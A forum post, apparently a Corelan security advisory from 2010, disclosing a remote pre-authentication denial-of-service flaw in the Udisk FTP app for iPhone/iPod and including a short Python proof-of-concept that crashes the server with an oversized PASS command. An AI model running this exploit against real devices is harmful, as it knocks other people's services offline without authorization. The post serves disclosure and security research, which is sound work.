Your Ad Here
 
You must be logged in to post
Search Forums:


 






Wildcard Usage:
*    matches any number of characters
%    matches exactly one character

CORELAN-10-003 – Udisk v1.0 remote DOS

UserPost

13:19
January 12, 2010


mr_me

Australia

mr_me
Special guest
Special guest

posts 313

Post edited 13:29 – January 12, 2010 by mr_me


Advisory : CORELAN-14-003
Disclosure date : 12th January 2010

0×00 : Vulnerability information
——————————–

  • Product : Apple Iphone/Ipod – Udisk FTP basic edition Remote pre-auth DOS vulnerability
    [*] Version : 1.0
    [*] Vendor : http://6tags.com
    [*] URL : http://6tags.com/n/index.php/i…..disk/intro
    [*] Type of vulnerability : Remote DOS
    [*] Risk rating : Medium
    [*] Issue fixed in version : <not fixed>
    [*] Vulnerability discovered by : mr_me
    [*] Greetings to : corelanc0d3r, rick2600, ekse & MarkoT from Corelan Team

  • 0×01 : Vendor description of software
    ————————————-
    From the vendor website:

    U.Disk is an easy used application, with stand FTP server build in. With this feature, you can upload or download thousands of files by on click. Just use Copy & Paste to access files. Like your real U-Disk.

    0×02 : Vulnerability details
    —————————-
    Remote Denial of Service:

    When the application is sent a password (PASS) command with characters of size 2047 the application crashs.
    Remote code execution maybe possible.

    0×03 : Vendor communication
    —————————

  • 3rd January, 2010 : Vendor contacted
    [*] 9th January 2010 : Vendor reminded of vulnerability
    [*] 12th January 2010 : Public Disclosure

  • 0×04 : Exploit/PoC
    ——————

    #!/usr/bin/python

    print "[+] Apple Iphone/Ipod – Udisk FTP basic edition 0day Remote DOS exploit"

    import socket
    import sys

    def Usage():
    print ("Usage: ./udisk.py <serv_ip>\\n")
    print ("Example:./udisk.py 192.168.2.3\\n")
    if len(sys.argv) <> 2:
    Usage()
    sys.exit(1)
    else:
    hostname = sys.argv[1]
    username = "anonymous"
    passwd = "x41? * 2047
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
    sock.connect((hostname, 8080))
    print "[+] Connecting to the target.."
    except:
    print ("[-] Connection error!")
    sys.exit(1)
    r=sock.recv(1024)
    print "[+] Sending payload.."
    sock.send("USER %s\\r\\n" %username)
    sock.send("PASS %s\\r\\n" %passwd)
    sock.send("PWD\\r\\n")
    sock.close()
    print "[+] Server is now DOS'ed ;)"
    sys.exit(0);

    The road to hell is paved in good intentions.